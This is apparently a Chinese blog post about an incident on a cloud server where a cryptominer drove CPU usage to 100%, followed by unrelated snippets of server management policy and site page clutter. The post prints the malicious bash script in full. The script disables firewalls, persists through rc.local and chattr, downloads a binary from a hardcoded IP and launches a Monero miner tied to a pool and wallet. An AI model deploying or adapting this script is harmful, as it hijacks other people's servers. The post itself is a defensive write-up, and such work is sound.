记一次服务器被攻击处理

基本情况:服务器没有表象的被攻击征兆,只是偶然登录阿里云控制台,发现主机cpu一个月来占用率都是100%;
于是ssh上服务器执行命令

top -c //看看哪些占用cpu比较高

发现有两个mysql用户的进程各占用47%左右,这两个几乎就占用了全部的cpu。想着服务器上的数据库已经迁移到了阿里云,所以就kill掉他们,然后又查看cpu占用,发现依然有两个这样的进行,只是pid改变了,于是我关闭了mysqld,情况发生了改变。
这里写图片描述

果真是被入侵了,我看下有哪些mysql进程。

这里写图片描述

其中有一个/bin/bash ./db_temp/haha和./xiao xxx的进程我觉得很可疑
我全局查找haha 发现是个恶意脚本,就赶紧改掉文件名杀掉进程,后又杀掉所有./xiao进程
cpu恢复正常。
目测是shell漏洞引发的,还有待确认。
下面是注入的程序内容:

#!/bin/bash
chmod 777 xiao
chattr 777 haha
/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop
echo 'nameserver 8.8.8.8'> /etc/resolv.conf
grep "nohup ./haha >/dev/null 2>&1 &" /etc/rc.d/rc.local >/dev/null
if [ $? -eq 0 ]; then
chmod 777 xiao
sleep 1
chattr +i haha
else
echo "nohup ./haha >/dev/null 2>&1 &" >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local
chmod +x haha
chmod 777 xiao
chattr +i haha
fi
while true
do
    ps aux | grep xiao | grep -v grep
    if [ $? -eq 0 ];then
         sleep 10
         chmod 777 xiao
         chattr +i xiao
            nohup rm -rf index.html >/dev/null 2>&1 &
         rm -rf nohup.out
    else
        if [ -f xiao ];then
        chmod 777 xiao
        chattr +i xiao
         nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
        else
 wget http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
            if [ -f xiao ];then
        chmod 777 xiao
        chattr +i xiao
         nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
        else
             curl -O http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
         rm -rf nohup.out
fi
   fi
       fi
done
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
服务器管理制度全文共3页,当前为第1页。服务器管理制度全文共3页,当前为第1页。 服务器管理制度全文共3页,当前为第1页。 服务器管理制度全文共3页,当前为第1页。 服务器管理制度 v1.0 服务器管理制度全文共3页,当前为第2页。服务器管理制度全文共3页,当前为第2页。目的 服务器管理制度全文共3页,当前为第2页。 服务器管理制度全文共3页,当前为第2页。 为科学有效地管理服务器,促进网络系统安全的应用.高效运行,特制定本规章制度,请遵照执行。 服务器管理 2.1 不得在服务器上使用带有病毒和木马的软件,安装软件前一定要先做好病毒检测;不得利用服务器从事工作以外的事情,不得擅自删除、移动、更改服务器数据; 不得故意破坏服务器系统;不得擅自修改服务器系统时间。 2.2 服务器系统必须及时升级安装安全补丁,弥补系统漏洞;必须为服务器系统做好病毒 及木马的实时监测,及时升级病毒库。 2.3 管理员对管理员账户与口令应严格保密、定期修改,以保证系统安全,防止对系统的非法入侵。 2.4 除系统管理员或授权参加系统管理的人员外,任何用户不得以任何方式获取(或企图 获取)超级用户权限。 2.5 发现系统受到黑客攻击时,应采取有效防御措施,并立即向项目组汇报。 2.6 不得随意改动机器的 IP 地址。 服务器操作流程 3.1 管理员应有较强的病毒防范意识,定期进行病毒检测,发现病毒立即处理。未经管理人员许可,不得在服务器上安装新软件,若确需要安装,安装前应进行病毒例行检测。 3.2 服务器进行程序升级或重大配置更改时,管理员应向项目组运维人员进行申请,经项目组同意方可进行操作。 3.3 项目组运维人员接收到服务器升级、更改操作申请后,应与云资源部申请临时快照,以防服务器升级后出现管理不到等异常问题。 数据保密及数据备份 服务器的数据库必须做好实时备份,每天定期做好日志文件的备份。 服务器内的重要数据每周制作数据的备份并异地存放, 确保系统一旦发生故障时能够快速恢复。重要的数服务器管理制度全文共3页,当前为第3页。服务器管理制度全文共3页,当前为第3页。据必须定期、完整地转储到不可更改的介质上,并要求集中和异地保存。每月定期检查备份数据,如有损坏,及时重新备份。 服务器管理制度全文共3页,当前为第3页。 服务器管理制度全文共3页,当前为第3页。 管理员日常注意事项 在服务器管理过程中,管理员需要注意以下事项: 1.对自己的每一次操作应做好详细录,具体见上述建议,以便于后来检查。 2.努力提高自身水平,加强学习。 服务器管理制度
公司服务器安全管理办法 一.目的 为了加强公司服务器的安全管理工作,保障信息系统安全、稳定运行,充分发挥系统效用,特 制定本管理制度。 二.适用范围 本制度规定了公司服务器维护管理和故障处理办法,适用于公司服务器安全管理工作。 三.权责 系统管理员负责服务器的日常操作维护,进行软硬件设施的保养和定期检查。 四.定义 4.1 服务器 指的是网络环境的高性能计算机,它侦听网络上的其他计算机提交的服务请求,并提供相应的 服务。为此,服务器必须具有承担服务和保障服务的能力。 4.2 服务器故障 软件故障、硬件故障,入侵与攻击,其他不可预料的未知故障等。 五.管理内容与方法 1 服务器系统 1.1 服务器系统的安装必须经过系统管理员准许确认方可安装。 1.2 服务器上非系统服务必须的软件一律不得安装。 2 服务器安全 2.1 系统应及时安装各种系统应用补丁,管理员应至少每周进行一次检测。 2.2 系统的防病毒软件应 24 小时不间断的开启, 任何人不得停止服务, 并且要及时更新病毒库, 管 理员至少 2 天手动检测一次病毒库,并设置杀毒软件每天 22 点整自动查杀。 2.3 除系统服务必须使用的端口,其他端口一律关闭停止服务。 3 口令安全 3.1 服务器的口令必须符合密码复杂性,密码长度为 10-20 位,密码必须包含大写、小写、数字及 数字符号,使用的口令需要统一备案并填写《服务器数量统计表》 。 3.2 密码的生存期限为 30 天, 管理员必须在 30 天内更换一次密码, 否则系统将禁止该管理员登陆。 4 人员管理要求 4.1 服务器日常操作和维护由系统管理员负责,未经许可其他人不得对服务器进行任何操作。 4.2 如需要登录服务器,必须要在管理员处出示具有相关领导批示的《服务器使用申请表》 。 4.3 操作人员必须在管理人员的陪同下进行相关操作。 4.4 如果要更新服务器的应用,必须提供程序测试报告,并且该程序经过测试可以上线试运行。 4.5 每次服务器进行数据操作及维护后,必须填写《服务器维护录表》进行登,用来备查。 5 数据备份 5.1 管理员每周至少对服务器进行 1 次数据备份,备份以日期命名。 5.2 业务部门每次对服务器应用进行修改前,做数据备份 1 次。 5.3 国家法定节日前和收假后,分别作一次数据备份。 6 系统检测 6.1 管理员每周应使用各种检测工具对服务器进行检测,如发现漏洞要及时修补,并填写《服务 器维护录表》并上报相关领导。 6.2 使用各安全及系统商提供的系统检测程序对服务器进行不定期检测,如发现漏洞要及时修补 并录,上报相关领导。 7 物理环境要求 7.1 服务器须放置在机房或具备服务器运行相关条件的空间内。 7.2 系统管理员应在每季末对服务器进行一次硬件检测和除尘工作,并填写《服务器维护录 表》 。 7.3 服务器机房内必须配备一定数量的灭火器,并有专人负责管理,妥善保管,定期检查,使其随 时处于可用的良好状态。 7.4 做好机房的防火、防尘、防潮、防虫、降温等工作。保持机房内良好的卫生和工作秩序。 8 软件环境要求 8.1 系统管理员应及时对服务器进行一次硬件配置登和安装的软件登,并填写《服务器软硬件 明细表》 。 8.2 无特殊情况,服务器要关闭网络文件与打印服务、Qos、终端服务、授权服务、消息列队服务、 远程存储、证书服务和不常用的端口等其他暂时不用的服务。 8.3 服务器操作系统需设置安全策略,策略设定后要进行有效性检查,确保有效执行。 8.4 服务器应禁止匿名/默认帐户或严格限制访问权限。 8.5 为了保证服务器的运行效能和安全,除了安装压缩、杀毒、OFFICE 软件等必要的应用软件外, 一般不安装其他非必要的软件。严禁安装游戏、聊天工具等与系统无关的程序与文件。 9 服务器开关机 9.1 系统管理员负责服务器的开关机工作,操作完成后并录。 9.2 除安装调试或例行维护外, 服务器不得频繁开关机。 服务器维护应安排在非工作时间段进行。 9.3 服务器在出现严重故障非重启不能解决时,系统管理员应及时通知服务器用户,在用户保存完 正在操作的数据后方可中断数据库连接并进行重启操作。 10 日志管理 10.1 系统管理员应在每周末检查服务器的"事务日志" ,发现有严重错误的,必须立即检查并排除 故障。服务器所有日志在得到"事务已经满"的提示情况下,必须立即备份到 D 盘,备份完毕后必 须立即清空。 10.2 服务器日志至少保留半年,只允许授权用户访问,且不能进行修改。 11 磁盘检查 11.1 系统管理员应在每周末检查服务器的磁盘情况,如果发现磁盘使用容量超过 70%以上时,应及 时删除不必要的文件腾出磁盘空间,必要时申报新的磁盘。 11.2 系统管理员每月末对服务器进行磁盘碎
服务器运维方案 为保官网的正常稳定运行,也为了更好的对服务器进行管理维护,特制定以下运维方案: 硬件系统管理 一、服务器运行稳定性 服务器在运往托管商处上架前,应对服务器的稳定性进行全面的测试,包括网站主程序的测试,网站数据库的测试,网站压力测试等多项内容,对服务器的运行稳定性进行检验,在硬件上特别是容易松动的地方进行检查加固。 服务器上架后,每天对服务器状态进行不间断的监控,每月对服务器出具一次安全检测报告,分析是否存在异常。 二、服务器性能 服务器的性能进行全面检测,特别是对服务器处理大批量数据的情况下的CPU的占用率,内存的占用率等进行查看,以确保服务器的性能。 三、服务器软硬兼容性 服务器需用windows sever自带的兼容性检查软件进行兼容性检查,列出兼容性及不兼容的硬件以备查看,特别是自行开发的程序是否有对硬件要求特别严格地方,需跟研发共同商议解决。 四、磁盘阵列等存储设备管理 如服务器有磁盘阵列,需对每块硬盘进行编号,并录在案,对软件设置中的参数也要进行详细的录,以备远程维护时指导机房人员进行远程操作。 五、机柜、电源、网线布局管理 1、服务器上架后,应对服务器进行拍照,确认各线路位置。 2、需对服务器的电源部分进行编号整理。 六、服务器安全 服务器上架前应对服务器各主要部件进行登编号,如箱体可锁,应上锁,并加盖封条,对于可抽出部分,应详细录编号。 服务器运维方案全文共5页,当前为第1页。七、服务器硬件巡检制度 服务器运维方案全文共5页,当前为第1页。 每季度安排专人进入机房对服务器进行一次常规确认,包含服务器线路检查、服务器故障排除等。巡检完成后填写巡检登表并留档备查。 八、托管机房的联系 应制作托管机房联系人表,对365天24*7内的机房人员、电话、手机登在案。 2.网站运行管理 一、网站不间断运行稳定性监测 为了保证网站的稳定性及不间断性应对服务器异动情况进行检测,如服务器有异常可通过邮件或短信通知管理员。 每日对网站进行7*24小时流量及安全监控,分析出是否存在恶意攻击以及攻击来源,并对此进行安全处理,每月提交一次分析报告。 二、域名服务指向管理 为保持网站的稳定性,域名管理权限应该有专人统一持有,避免因域名服务指向原因引起的网站访问失效或访问错误的问题。 三、公司所属网站一级、二级、邮件服务器域名指向管理 公司域名的制订规则,公司域名制订后应由专人向域名持有人提供书面修改方案,域名持有人根据书面修改方案进行修改,修改并对书面文件进行备案,以防责任不清的情况发生。 四、域名DNS转向稳定性监控,DNS性能监控 公司注册域名因代理商不同,所以DNS转向服务器也不相同,在DNS转向服务器出现问题后应及时寻找解决途径,应对每个域名的DNS转向服务器提供者的联系方式进行备案,方便出现问题后的查找。 五、网站ICP注册管理,其它相关的注册管理 服务器运维方案全文共5页,当前为第2页。公司网站属营业性网站,并带有论坛BLOG系统等,应相通信管理局及新闻出版局等部门申请注册管理,并对非法内容进行监管,应有专人负责。 服务器运维方案全文共5页,当前为第2页。 3.服务器软件环境管理 一、操作系统 a) 基于Windows Server操作系统升级与配置 采用windows 2003操作系统+SQL2008(系统版权),并装好杀毒软件,FTP软件(盗版问题)等。 b) 操作系统稳定性监控 定时查看操作系统日志及IIS日志,查看CPU、内存占用率,保持服务器在正常态。 c) 权限与文件管理 服务器应明确责任人及管理帐号持有人,不应出现多人单帐户,单人多帐户的情况,不利于在服务器出现问题后,对服务器进行操作维护、查找问题。 二、数据库 a)SQL Server 数据库 数据库应由开发部门配合服务器管理人员共同完成,对所需要的服务,不需要的服务,SA的密码应强调持有人及管理方式,避免人为漏洞的出现。 c)数据库备份 数据备份不同于服务器硬盘的备份,该备份需对数据库直接进行操作,应由专人定时完成,因备份占用内存较大,也不易在访问量大的情况下进行。 d)访问性能优化及数据库同步 性能优化及参数调整由开发部门完成,服务器管理人员需录详细的设置;数据库如需要同步,应明确同步时间或实时同步等方式。 三、用户管理 a) ftp用户管理 应由专人出具书面文档给服务器管理人员,由服务器管理人员进行操作,并留档。 b)远程登录用户管理 该帐户应由专人控制管理,严格控制在一台或几台客户机上登陆,严格禁止管理人员从非办公地点登陆。 c) SQL Server数据库用户管理 该帐户由数据库管理员控制,数据库管员应指定。 d)操作系统用户管理 该帐户由服务器管理人员控制,服务器管理人员应明确。 服务器运维方案全文共5页,当前为第3页。四

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值